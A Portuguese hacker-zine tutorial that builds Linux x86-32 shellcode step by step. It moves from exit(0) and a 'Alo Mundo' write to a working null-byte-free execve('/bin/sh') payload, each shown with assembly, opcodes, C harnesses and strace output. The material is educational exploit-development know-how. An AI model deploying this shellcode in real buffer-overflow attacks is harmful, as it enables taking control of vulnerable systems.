____ _.-'111 `"`--._ ,00010. .01011, ''-.. ,10101010 `111000. _ ____ ; /_..__..-------- ''' __.' / `-._ /""| _..-''' ___ __ __ ___ __ __ . __' ___ . __ "`-----\ `\ | | | | __ | | |\/| |___ | | | |__] | |\ | |__| |__/ | | | | ;.-""--.. |___ |__| |__] |__| | | |___ |___ |__| |__] | | \| | | | \ | |__| | ,10. 101. `.======================================== ============================== `;1010 `0110 : 1º Edição .1""-.|`-._ ; 010 _.-| +---+----' `--'\` | / / ...:::binariae:fungus:::... ~~~~~~~~~| / | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \| / | `----`---' Construindo shellcodes por m0nad. Índice 1) Apresentação 2) O que são shellcodes? 3) Ferramentas 4) Ambiente 5) System Calls 6) Exemplos: 6.1) 'exit(0);' em assembly 6.2) 'exit(0);' em shellcode 6.3) 'exit(0);' em assembly nullbyte-free 6.4) 'exit(0);' em shellcode nullbyte-free 6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free 6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free 6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free 6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free 7) Perguntas? 8) Referências 1) Apresentação Ola me chamo Victor Ramos Mello aka m0nad, recomendo que visitem meu github, http://github.com/m0nad. Venho aqui explicar o que são e principalmente, como construir shellcodes. 2) O que são shellcodes? Shellcode ou Payload, são códigos utilizados na exploração de buffer overflows, são utilizados no desenvolvimento de exploits para exploração desse tipo de falha, quem já leu os exploits de buffer overflows já os viu, shellcodes são construídos apenas com os valores em hexadecimal dos opcodes da arquitetura alvo, ou seja, as instruções do próprio processador, por isso o entendimento da linguagem assembly, que até certo ponto, possui relação de 1 para 1 com a linguagem de máquina, se faz necessária. O shellcode é o código que será de fato executado durante a exploração de um buffer overflow. São chamados de 'shellcodes' pois geralmente o seu objetivo é a obtenção de uma shell. 3) Ferramentas: Utilizaremos uma serie de ferramentas, todas são de fácil acesso, presentes na maioria dos unix-like, as ferramentas são: as - Montador da linguagem Assembly. ld - Linker. gcc - Compilador C. objdump - Visualizador de arquivos objeto. Linux 32 bits - Sistema Operacional alvo. 4) Ambiente: O ambiente utilizado foi um GNU/Linux, um Ubuntu, as versões das ferramentas e do kernel utilizado são: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ uname -a Linux m0nad-notebook 2.6.35-30-generic #56-Ubuntu SMP Mon Jul 11 20:00:22 UTC 2011 i686 GNU/Linux m0nad@m0nad-notebook:~$ as --version GNU assembler (GNU Binutils for Ubuntu) 2.20.51-system.20100908 Copyright 2010 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License version 3 or later. This program has absolutely no warranty. This assembler was configured for a target of `i686-linux-gnu'. m0nad@m0nad-notebook:~$ ld --version GNU ld (GNU Binutils for Ubuntu) 2.20.51-system.20100908 Copyright 2010 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License version 3 or (at your option) a later version. This program has absolutely no warranty. m0nad@m0nad-notebook:~$ gcc --version gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5 Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ 5) System Calls: Para construirmos um código simples de assembly em um linux, utilizaremos as system-calls do sistema operacional, que nada mais são do que chamadas presentes no kernel para executar tarefas para a aplicação. Existem diversas técnicas de construção de shellcodes, alguns optam por escrever o código em C, e depois debugar para descobrir quais syscalls e instruções de máquina que irá utilizar, outra maneira é escrever o código direto em assembly, para pegarmos os opcodes e construirmos o shellcode, é esta técnica que utilizaremos. 6) Exemplos: 6.1) 'exit(0);' em assembly Vejamos o primeiro exemplo, um 'exit(0);'. Para executarmos qualquer syscall, precisamos utilizar os registradores, os registradores de 'propósito geral' na arquitetura da Intel de 32 bits são eax, ebx, ecx, edx, esi, edi, esp e ebp, já que este será nosso ambiente. Para executarmos uma determinada syscall, basta mover o número da syscall desejada, no caso 'exit', para o registrador eax e os demais argumentos para os registradores ebx, ecx, edx, esi, edi, respectivamente e chamar a interrupção de kernel 'int 0x80', que o kernel fará o resto. Para descobrirmos o número das syscalls é simples, basta olharmos o unistd.h, aqui estava presente em '/usr/include/asm/unistd_32.h. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~$ grep exit /usr/include/asm/unistd_32.h #define __NR_exit 1 #define __NR_exit_group 252 m0nad@m0nad-notebook:~$ ------------------------------------------------------------------------------------ Podemos ver que o número da syscall 'exit' é '1', então para criarmos um código em assembly, com um código equivalente a um 'exit(0);', precisamos colocar o valor '1' em eax, e o valor '0', em '%ebx', e depois chamar o kernel. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ cat asm_exit_linux32.s .data .text .global _start _start: mov $0x1, %eax #syscall exit mov $0x0, %ebx #exit (0); int $0x80 #chama o kernel ------------------------------------------------------------------------------------ Pronto, agora vamos montá-lo e linka-lo ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ as asm_exit_linux32.s -o asm_exit_linux32.o m0nad@m0nad-notebook:~/Assembly$ ld asm_exit_linux32.o -o asm_exit_linux32 ------------------------------------------------------------------------------------ Ao executá-lo, nada acontecerá, pois ele somente ira executar um exit, e irá sair de sua execução, por isso, executaremos com strace. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ strace ./asm_exit_linux32 execve("./asm_exit_linux32", ["./asm_exit_linux32"], [/* 39 vars */]) = 0 _exit(0) = ? m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Sucesso! Podemos ver que nossa syscall 'exit(0);' foi chamada, vamos agora descobrir os opcodes utilizados, ou seja, os valores das instruções de máquina. 6.2) 'exit(0);' em shellcode Basta usarmos o 'objdump' para vermos os opcodes... ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_exit_linux32 asm_exit_linux32: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: b8 01 00 00 00 mov $0x1,%eax 8048059: bb 00 00 00 00 mov $0x0,%ebx 804805e: cd 80 int $0x80 m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Os opcodes, são os números em hexa no centro, entre os endereços e as instruções em assembly. Basta colocar os valores hexa numa string, e assim teremos o nosso shellcode. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ cat sc_exit_linux32.c const char sc[] = "\xb8\x01\x00\x00\x00" // mov $0x1,%eax "\xbb\x00\x00\x00\x00" // mov $0x0,%ebx "\xcd\x80" // int $0x80 ; int main () { __asm__ ("jmp sc"); return 0; } ------------------------------------------------------------------------------------ Compilando... ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_exit_linux32 sc_exit_linux32.c m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Vamos agora executar com strace, para ver se tudo ocorre como o esperado. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ strace ./sc_exit_linux32 execve("./sc_exit_linux32", ["./sc_exit_linux32"], [/* 39 vars */]) = 0 brk(0) = 0x8fae000 uname({sys="Linux", node="m0nad-notebook", ...}) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7825000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0 mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7813000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0 mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x454000 mmap2(0x5ab000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0x5ab000 mmap2(0x5ae000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x5ae000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7812000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb78126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0x5ab000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0x7a6000, 4096, PROT_READ) = 0 munmap(0xb7813000, 71040) = 0 _exit(0) = ? m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Vemos que nossa syscall 'exit(0);' foi executada com sucesso! E dessa vez em forma de shellcode. Mas temos um problema, os nullbytes, esses valores '\x00' no shellcode, isto é devido ao simples fato de que, na maioria das falhas de buffer overflows, os dados a serem colocados na memória, são geralmente strings, e a linguagem C, utiliza o nullbyte como término da string, no caso de uma função como 'strcpy', o shellcode não seria copiado inteiramente para o buffer, fazendo com que nosso shellcode não seja executado por completo, o que resultaria em resultados indesejáveis, então precisamos criar um shellcode sem os benditos nullbytes. 6.3) 'exit(0);' em assembly nullbyte-free Vamos tentar criar um exit sem os nullbytes, vejamos o exemplo: ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_exit_linux32.s .data .text .global _start _start: xor %eax, %eax #zera %eax xor %ebx, %ebx #zera %ebx inc %eax #eax igual a 1 int $0x80 #chama o kernel m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Montando e linkando... ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_exit_linux32.o asm_nbf_exit_linux32.s m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_exit_linux32 asm_nbf_exit_linux32.o ------------------------------------------------------------------------------------ Executando! ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_exit_linux32 m0nad@m0nad-notebook:~/Assembly$ strace ./asm_nbf_exit_linux32 execve("./asm_nbf_exit_linux32", ["./asm_nbf_exit_linux32"], [/* 39 vars */]) = 0 _exit(0) = ? m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Perfeito! Nossa syscall foi chamada, e tudo parece ocorrer bem. Vamos ver se realmente não possui null bytes. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_exit_linux32 asm_nbf_exit_linux32: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 31 db xor %ebx,%ebx 8048058: 40 inc %eax 8048059: cd 80 int $0x80 m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Vejam que agora os nullbytes sumiram! Para isso, evitamos mover valores para os registradores, o ideal é zerar o registrador com 'xor', onde qualquer valor 'xor' ele mesmo é igual a zero, e depois mover para as partes 'baixas' do registrador, como '%al', mas nesse caso, utilizei a instrução 'inc' para incrementar o 'eax', que também não gera nullbytes. 6.4) 'exit(0);' em shellcode nullbyte-free Mais uma vez, basta pegarmos os opcodes do output do objdump, e colocarmos num vetor de char. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/projects/ASM/Assembly$ cat sc_nbf_exit_linux32.c const char sc[] = "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x40" // inc %eax "\xcd\x80" // int $0x80 ; int main () { __asm__ ("jmp sc"); return 0; } m0nad@m0nad-notebook:~/projects/ASM/Assembly$ ------------------------------------------------------------------------------------ Compilando...e executando! ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/projects/ASM/Assembly$ gcc -o sc_nbf_exit_linux32 sc_nbf_exit_linux32.c m0nad@m0nad-notebook:~/projects/ASM/Assembly$ ./sc_nbf_exit_linux32 m0nad@m0nad-notebook:~/projects/ASM/Assembly$ strace ./sc_nbf_exit_linux32 execve("./sc_nbf_exit_linux32", ["./sc_nbf_exit_linux32"], [/* 39 vars */]) = 0 brk(0) = 0x881b000 uname({sys="Linux", node="m0nad-notebook", ...}) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c9000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0 mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78b7000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0 mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xd07000 mmap2(0xe5e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xe5e000 mmap2(0xe61000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xe61000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b6000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b66c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xe5e000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0x154000, 4096, PROT_READ) = 0 munmap(0xb78b7000, 71040) = 0 _exit(0) = ? m0nad@m0nad-notebook:~/projects/ASM/Assembly$ ------------------------------------------------------------------------------------ Vimos que funciona perfeitamente, já sabemos escrever shellcodes nullbyte-free, ou seja, livre de bytes nulos. 6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free Vamos passar agora para um exemplo um pouco mais complexo, vamos escrever um 'Alo Mundo' em assembly, e nullbyte-free, para isso vamos utilizar as técnicas vistas anteriormente, o maior problema que teremos que enfrentar sera copiar o endereço da string para '%ecx', para isso há diversas técnicas, no artigo do AlephOne[1], ele utiliza a instrução 'call' com a string logo em seguida, pois a instrução 'call' salva o endereço da próxima instrução na pilha, então bastaria dar um 'pop %ecx', para assim capturarmos o endereço, mas nós utilizaremos outra técnica, de dar 'push' na string, e depois copiar o endereço do '%esp' para o '%ecx', para isso basta colocar a string de traz para frente, já que a pilha é um LIFO (Last in, First Out) ou seja, o último que entra é o primeiro que sai, e com seus valores ascii em hexadecimal, já que vamos passar como simples números para a pilha. Vamos descobrir os valores em hexa de traz para frente. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ echo -n Alo Mundo | perl -ne 'printf "%x", unpack "C*" foreach (reverse split //) ';echo 6f646e754d206f6c41 m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Pronto, já temos os valores em hexa da string 'Alo Mundo' de traz para frente. Vamos construir o shellcode para printar o 'Alo Mundo', colocando novamente o número da syscall em '%eax', neste caso 'write', stdout para '%ebx', endereço da string para '%ecx', e o tamanho da string para '%edx', para evitarmos os nullbytes vamos zerar os registradores com 'xor' e mover os valores para as partes baixas dos registradores. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_write_alomundo_linux32.s .text .globl _start _start: xor %eax, %eax #zera %eax mov $0x4, %al #move 4(write) para a %al xor %ebx, %ebx #zera %ebx push %ebx #poe o nullbyte na pilha inc %ebx #stdout em %ebx push $0x6f #coloca a string na pilha push $0x646e754d # push $0x206f6c41 # mov %esp, %ecx #ponteiro da string para %ecx xor %edx, %edx #zera %edx mov $0xa, %dl #tamanho da string para %dl int $0x80 #chama o kernel xor %eax, %eax #exit(0); xor %ebx, %ebx # inc %eax # int $0x80 # m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_write_alomundo_linux32.o asm_nbf_write_alomundo_linux32.s m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_write_alomundo_linux32 asm_nbf_write_alomundo_linux32.o m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_write_alomundo_linux32 ;echo Alo Mundo m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Perfeito, funciona, vamos verificar se realmente não possui nullbytes. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_write_alomundo_linux32 asm_nbf_write_alomundo_linux32: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: b0 04 mov $0x4,%al 8048058: 31 db xor %ebx,%ebx 804805a: 53 push %ebx 804805b: 43 inc %ebx 804805c: 6a 6f push $0x6f 804805e: 68 4d 75 6e 64 push $0x646e754d 8048063: 68 41 6c 6f 20 push $0x206f6c41 8048068: 89 e1 mov %esp,%ecx 804806a: 31 d2 xor %edx,%edx 804806c: b2 0a mov $0xa,%dl 804806e: cd 80 int $0x80 8048070: 31 c0 xor %eax,%eax 8048072: 31 db xor %ebx,%ebx 8048074: 40 inc %eax 8048075: cd 80 int $0x80 m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Legal! Esta livre de bytes nulos! Vamos ao shellcode. 6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free Vamos ao shellcode, basta escrevermos o shellcode utilizando estes opcodes. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_write_alomundo_linux32.c const char sc[] = "\x31\xc0" // xor %eax,%eax "\xb0\x04" // mov $0x4,%al "\x31\xdb" // xor %ebx,%ebx "\x53" // push %ebx "\x43" // inc %ebx "\x6a\x6f" // push $0x6f "\x68\x4d\x75\x6e\x64" // push $0x646e754d "\x68\x41\x6c\x6f\x20" // push $0x206f6c41 "\x89\xe1" // mov %esp,%ecx "\x31\xd2" // xor %edx,%edx "\xb2\x0a" // mov $0xa,%dl "\xcd\x80" // int $0x80 "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x40" // inc %eax "\xcd\x80" // int $0x80 ; int main () { __asm__ ("jmp sc"); return 0; } m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_write_alomundo_linux32 sc_nbf_write_alomundo_linux32.c m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_write_alomundo_linux32 ;echo Alo Mundo m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Sucesso! funciona perfeitamente, um shellcode 'Alo Mundo' nullbyte-free, estamos perto do nosso objetivo, ou seja, escrever o shellcode que obtem uma shell! 6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free Bem vamos ver então, o sexto exemplo, o assembly que irá nos dar a shell, para isso basta colocarmos o valor da syscall 'execve' em '%eax' e o endereço da string '/bin/sh' em '%ebx', o resto é semelhante ao shellcode anterior, só uma coisa, a string terá que ser '/bin//sh', usamos uma '/' a mais como um 'padding', para evitarmos os bytes nulos, novamente de traz para frente. ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_execve_sh_linux32.s .data .text .global _start _start: xor %eax, %eax #zera %eax push %eax #coloca nullbyte na pilha push $0x68732F2F #coloca string /bin//sh na pilha push $0x6E69622F # mov $0xb, %al #syscall execve para %al mov %esp, %ebx #ponteiro da string para %ebx xor %ecx, %ecx #zera %ecx xor %edx, %edx #zera %edx int $0x80 #chama o kernel xor %eax, %eax #exit(0); xor %ebx, %ebx # inc %eax # int $0x80 # ------------------------------------------------------------------------------------ Montando, linkando e executando... ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_execve_sh_linux32.o asm_nbf_execve_sh_linux32.s m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_execve_sh_linux32 asm_nbf_execve_sh_linux32.o m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_execve_sh_linux32 $ exit m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Sucesso! Vamos verificar se não há bytes nulos, para pegarmos os opcodes. 6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free Agora o objetivo de tudo, o shellcode que irá nos dar shell! ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_execve_sh_linux32 asm_nbf_execve_sh_linux32: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 31 c0 xor %eax,%eax 8048056: 50 push %eax 8048057: 68 2f 2f 73 68 push $0x68732f2f 804805c: 68 2f 62 69 6e push $0x6e69622f 8048061: b0 0b mov $0xb,%al 8048063: 89 e3 mov %esp,%ebx 8048065: 31 c9 xor %ecx,%ecx 8048067: 31 d2 xor %edx,%edx 8048069: cd 80 int $0x80 804806b: 31 c0 xor %eax,%eax 804806d: 31 db xor %ebx,%ebx 804806f: 40 inc %eax 8048070: cd 80 int $0x80 m0nad@m0nad-notebook:~/Assembly$ m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_execve_sh_exit_linux32.c const char sc[] = "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\xb0\x0b" // mov $0xb,%al "\x89\xe3" // mov %esp,%ebx "\x31\xc9" // xor %ecx,%ecx "\x31\xd2" // xor %edx,%edx "\xcd\x80" // int $0x80 "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x40" // inc %eax "\xcd\x80" // int $0x80 ; int main () { __asm__ ("jmp sc"); return 0; } ------------------------------------------------------------------------------------ Compilando e executando... ------------------------------------------------------------------------------------ m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_execve_sh_exit_linux32 sc_nbf_execve_sh_exit_linux32.c m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_execve_sh_exit_linux32 $ exit m0nad@m0nad-notebook:~/Assembly$ ------------------------------------------------------------------------------------ Sucesso! Um shellcode funcional nullbyte-free, que executa a nossa shell! 7) Perguntas? m0nad /at/ email.com 8) Referências [1] Smash the Stack for Fun and Profit - AlephOne AAAAA ?AAAAAA? AAAAAN AAAAAAAAA AAA A+ AAAAAAAAAA A. A? AAAAAAAAAAA AA AAAAAAAAAAA AA + AAAAAAAAAAA A AAAAAAA AAAAAAAAAAA NA AAAAAAAAAA. AAAAAAAAAAAA A AAAAAAAAAAAAAAA AAAAAAAAAAA A AAAAAAAAAAAAAAAA AAAAAAAAAA N AAAAAAAAAAAAAAAAA AAAAAAAA A AA AAAAAAAAAAAAAAAAAAA AAAAAA A A AA AAAAAAAAAAAAAAAAAAAAAAAAAA+ . . AAA AAAAAAAAAAAAAAAAAAAAAAAAAA A A AA AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA A A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + A AAAAAAA ?AAAAAAAAAAAAAAAAAAAAAAAA A + AA AAA AAAAAAAAAAAAAAAAAAAAAAAAAAA A AA.AAAA.+AAAAAAAAAAAAAAAAAAAAAAAA A . AAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAA. A A +.++ AA+ A+AAAAAAAAAAAAAAAAAAAAAA ? A A A. A+ AAAA.AAAAAAAAAAAAAAAN A .A ? AAA AAAA AAAAAAAAAA A A A+ AAA AAAI +AAAAAAAAN . + AAA AAA AAAAAAAA A N AA? AAA AAAAAA. A AAA AAA AAAAAAA . A .A. AA AA AAA . . AA AA AAA.AAA .. A AA?AA AA. AAA A N. AAAAA AA AA ?+ A AA.AAA AA AA .. AAAAAAAAAA . AA AA .A AAAN+AAA +AAAA AA . .AAAAAA AAAA. AAAA . A+